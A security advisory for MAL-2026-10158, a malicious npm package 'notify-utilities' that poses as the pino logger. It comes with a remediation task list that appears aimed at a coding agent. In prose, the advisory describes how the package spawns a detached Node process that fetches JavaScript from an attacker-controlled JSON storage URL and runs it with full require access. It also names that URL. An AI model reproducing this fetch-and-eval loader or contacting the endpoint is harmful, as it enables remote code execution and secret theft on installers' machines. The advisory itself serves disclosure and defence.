MAL-2026-10158 Malicious code in notify-utilities (npm)
Malicious package
Published
MAL-2026-10158 is a malicious package: notify-utilities (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-10158/ (Markdown: https://insights.sbomify.com/MAL-2026-10158/index.md)
- Package
- notify-utilities
- Registry
- npm
What is MAL-2026-10158?
MAL-2026-10158 is a malicious package in notify-utilities, published on 10 Jul 2026.
Official description
Package published as notify-utilities masquerades as the pino logger (package.json description, keywords, and index.d.ts are copied from pino; the exported factory is named
pino). When a consumer requires the package and invokes the exported factory, index.js spawns lib/vcall.js as a detached, unref'd Node child process. That child performs axios.get('https://api.jsonsilo.com/public/df71fd55-4f0c-4326-9b5b-a285e38023a5'), extracts response.data.model as a JavaScript source string, constructs a function from it via new Function.constructor('require', src), and invokes the resulting handler with the live require, giving the fetched code full module-loading access inside the installer's Node process. The remote source is a third-party JSON storage service under attacker control; the fetched content is mutable and not tied to any publisher signature or version pin. The detached+unref child pattern is used to keep the fetch-and-eval alive after the factory's synchronous return, hiding the ongoing remote execution from the calling process.What should I do about MAL-2026-10158?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.